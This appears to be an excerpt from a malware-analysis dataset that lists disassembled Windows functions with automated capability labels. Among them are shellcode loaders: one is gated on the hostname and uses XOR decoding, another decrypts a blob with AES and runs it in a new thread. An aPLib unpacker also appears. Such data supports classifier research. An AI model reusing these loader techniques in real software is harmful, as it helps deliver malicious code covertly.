joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get hostname

Disassembly:
push rbx
mov eax, 0x10470
call fcn.140001f40
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x10460], rax
lea rcx, [rsp + 0x40]
mov eax, 8
lea rdx, [0x140003270]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x1400010a2
mov rax, qword [rdx + 0x10]
movups xmm0, xmmword [rdx]
mov dword [rsp + 0x20], 0x7fff
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
movzx eax, word [rdx + 0x18]
mov word [rcx + 0x18], ax
movzx eax, byte [rdx + 0x1a]
lea rdx, [rsp + 0x20]
mov byte [rcx + 0x1a], al
lea rcx, [rsp + 0x460]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x140001145
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GetComputerName_failed___d__n
call fcn.140001010
xor ebx, ebx
lea rdx, [rsp + 0x460]
mov eax, ebx
lea r8, str.SJWDV_PIFPTST01
nop dword [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [r8 + rax*2]
jne 0x140001213
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [r8 + rax*2 + 2]
jne 0x140001213
add rax, 2
cmp rax, 0x10
jne 0x140001160
movsd xmm0, qword [str.Renegades]
xor ecx, ecx
movzx eax, word [0x1400036d8]
mov edx, 0x41b
mov r8d, 0x1000
movsd qword [rsp + 0x28], xmm0
mov word [rsp + 0x30], ax
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r9, [rsp + 0x40]
movabs r11, 0xe38e38e38e38e38f
sub r9, rax
mov r10, rax
mov r8, rax
nop dword [rax]
nop word [rax + rax]
movsxd rcx, ebx
lea r8, [r8 + 1]
mov rax, r11
inc ebx
mul rcx
shr rdx, 3
lea rax, [rdx + rdx*8]
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x28]
xor al, byte [r9 + r8 - 1]
mov byte [r8 - 1], al
cmp ebx, 0x41b
jb 0x1400011e0
call r10
xor eax, eax
mov rcx, qword [rsp + 0x10460]
xor rcx, rsp
call fcn.140001240
add rsp, 0x10470
pop rbx
ret

Function at 0x140001b14
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b5e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b5e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b5e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b5e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b5e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b60
xor al, al
add rsp, 0x28
ret
Function at 0x2446c13e3
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
lea rax, [rbp - 8]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call rax
test eax, eax
sete al
test al, al
je 0x2446c144b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptAcquireContextW___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x2446c15c6
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x800c
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
test eax, eax
sete al
test al, al
je 0x2446c149d
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptCreateHash___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x2446c15c6
mov rax, qword [rbp - 0x10]
mov ecx, dword [rbp + 0x28]
mov rdx, qword [rbp + 0x20]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptHashData]
call rax
test eax, eax
sete al
test al, al
je 0x2446c14e5
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptHashData___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x2446c15c6
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x18]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8, rcx
mov edx, 0x6610
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
call rax
test eax, eax
sete al
test al, al
je 0x2446c1538
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptDeriveKey___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x2446c15c6
mov rax, qword [rbp - 0x18]
lea rdx, [rbp + 0x18]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
call rax
test eax, eax
sete al
test al, al
je 0x2446c1590
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_in_CryptDecrypt___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x2446c15c6
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
nop
add rsp, 0x50
pop rbp
ret
Function at 0x2446c15e6
Capabilities:
Create thread

Disassembly:
push rbp
mov eax, 0x18670
call fcn.2446c2620
sub rsp, rax
lea rbp, [rsp + 0x80]
mov r9d, 0
lea r8, str.Gemini_Security
lea rax, str.Welcome_
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
movabs rax, 0x13be8ab8ba9680f1
movabs rdx, 0x34979593984859ef
mov qword [rbp + 0x185c0], rax
mov qword [rbp + 0x185c8], rdx
lea rax, [rbp - 0x40]
lea rdx, [0x2446c9180]
mov ecx, 0x18600
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x185ec], 0x18600
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x18600
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x185e0], rax
cmp qword [rbp + 0x185e0], 0
jne 0x2446c16bc
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Allocate_memory___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x2446c180c
lea rcx, [rbp + 0x185c0]
mov edx, dword [rbp + 0x185ec]
lea rax, [rbp - 0x40]
mov r9d, 0x10
mov r8, rcx
mov rcx, rax
call sym.DecryptAES_char__unsigned_long__char__unsigned_long_
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x185e0]
mov r8d, 0x18600
mov rcx, rax
call sym.memmove
lea rdx, [rbp - 0x44]
mov rax, qword [rbp + 0x185e0]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x18600
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x2446c1749
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_change_memory_protection___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffe
jmp 0x2446c180c
mov rax, qword [rbp + 0x185e0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x185d8], rax
cmp qword [rbp + 0x185d8], 0
jne 0x2446c17af
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Create_the_thread___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffd
jmp 0x2446c180c
lea rax, str.____Stage_03:_Loading_Shellcoode_into_Memory...
mov rcx, rax
call sym.printf_char_const__::_
mov eax, dword [0x2446e17b4]
movd xmm0, eax
call sym.SleepZhortiUi_float_
mov rax, qword [rbp + 0x185e0]
mov rdx, rax
lea rax, str._n_n____alloc_mem_:__p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x185d8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x185e0]
call rax
mov eax, 1
add rsp, 0x18670
pop rbp
ret

Function at 0x2446c1a60
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x2446c1ad0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x2446e5084]
mov rbx, rcx
test esi, esi
jle 0x2446c1c00
mov rax, qword [0x2446e5088]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x2446c1b1b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x2446c1ba5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x2446c1b00
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x2446c1c22
mov rax, qword [0x2446e5088]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x2446e5088]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2446c1c07
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x2446c1b9e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x2446c1bb0
add dword [0x2446e5084], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x2446e5088]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2446c1b9e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x2446c1b28
mov rax, qword [0x2446e5088]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x2446c1fa0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x2446e50c0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x2446e50a0]
test rbx, rbx
je 0x2446c1ffc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x2446c1ff3
test rsi, rsi
je 0x2446c1ff3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x2446c1fd8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x2446c2210
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x2446c2228
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x2446c2230
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x2446c2240
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x2446c228d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x2446c2284
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x2446c228f
add rax, 0x28
cmp rax, r9
jne 0x2446c2270
xor eax, eax
ret

Function at 0x2446c2290
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x2446c2320
mov rdx, qword [0x2446e1d50]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x2446c230e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x2446c230e
cmp word [rax + 0x18], 0x20b
jne 0x2446c230e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x2446c2320
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x2446c22f9
add rbx, 0x28
cmp rbx, rdi
je 0x2446c2320
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x2446c22f0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x2446c2330
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2446e1d50]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2446c2350
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2446c2358
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2446c2350
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x2446c23ad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x2446c23a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x2446c2350
add rax, 0x28
cmp rax, r9
jne 0x2446c2390
xor eax, eax
ret

Function at 0x2446c23b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2446e1d50]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x2446c23cf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x2446c23d8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x2446c23cf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x2446c23f0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x2446e1d50]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x2446c2410
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x2446c2418
ret
cmp word [rdx + 0x18], 0x20b
jne 0x2446c2410
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x2446c2460
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x2446c2457
test rcx, rcx
je 0x2446c2410
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x2446c2448
xor eax, eax
ret
Function at 0x2446c2470
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2446e1d50]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x2446c248f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x2446c2498
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x2446c24b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2446e1d50]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2446c24d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2446c24d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2446c24d0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x2446c24d0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x2446c2524
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x2446c2530
add rdx, 0x28
cmp r9, rdx
jne 0x2446c2510
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x2446c2540
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x2446e1d50]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x2446c2562
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x2446c2570
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2446c2562
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x2446c2562
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x2446c2562
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x2446c25c5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x2446c25d8
add rdx, 0x28
cmp rdx, r10
jne 0x2446c25b0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x2446c25e7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x2446c25f7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x2446c25ce
test ecx, ecx
jg 0x2446c25e0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1405ce0b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1405ce237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1405ce0e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405ce0c7
add dl, dl
jne 0x1405ce0ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405ce14e
xor eax, eax
add dl, dl
jne 0x1405ce0fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405ce205
add dl, dl
jne 0x1405ce10e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ce11b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ce128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ce135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1405ce142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1405ce0d6
mov eax, 1
add dl, dl
jne 0x1405ce15e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ce16b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405ce153
sub eax, ebx
mov ebx, 1
jne 0x1405ce1a4
mov ecx, 1
add dl, dl
jne 0x1405ce186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405ce193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405ce17b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405ce0d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1405ce1c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405ce1cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405ce1b5
cmp eax, 0x7d00
jae 0x1405ce1f3
cmp eax, 0x500
jb 0x1405ce1ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405ce0d6
cmp eax, 0x7f
ja 0x1405ce1f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405ce0d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1405ce22a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1405ce0d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001f44
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001f8e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001f8e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001f8e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001f8e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001f8e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001f90
xor al, al
add rsp, 0x28
ret
Function at 0x140001be0
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xb8
mov dword [rsp + 0x40], 0
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x50], 0xffffffffffffffff
inc qword [rsp + 0x50]
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x50]
cmp word [rax + rcx*2], 0
jne 0x140001c14
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov r8d, 1
mov edx, eax
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
mov eax, dword [rsp + 0x40]
mov ecx, eax
call fcn.14001f190
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x58], 0xffffffffffffffff
inc qword [rsp + 0x58]
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x58]
cmp word [rax + rcx*2], 0
jne 0x140001ca0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
mov r9, qword [rsp + 0x60]
mov r8d, 1
mov edx, eax
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
mov eax, dword [rsp + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x68]
call fcn.14001f190
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140001d54
mov rdi, qword [rsp + 0x48]
xor eax, eax
mov rcx, qword [rsp + 0x68]
rep stosb byte [rdi], al
cmp qword [rsp + 0x48], 0
je 0x140001d3f
mov rax, qword [rsp + 0x48]
mov byte [rax], 0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x70], rax
jmp 0x140001d48
mov qword [rsp + 0x70], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
jmp 0x140001d5d
mov qword [rsp + 0x78], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x40]
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x60]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xa0], rax
mov edx, 1
mov rcx, qword [rsp + 0xa0]
call fcn.14001ec60
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0x40]
mov dword [rax], ecx
mov rax, qword [rsp + 0x80]
add rsp, 0xb8
pop rdi
pop rsi
ret

Function at 0x140001dc0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
jne 0x140001de3
xor al, al
jmp 0x140001df4
mov eax, dword [rsp + 0x20]
and eax, 0x10
test eax, eax
je 0x140001df2
mov al, 1
jmp 0x140001df4
xor al, al
add rsp, 0x38
ret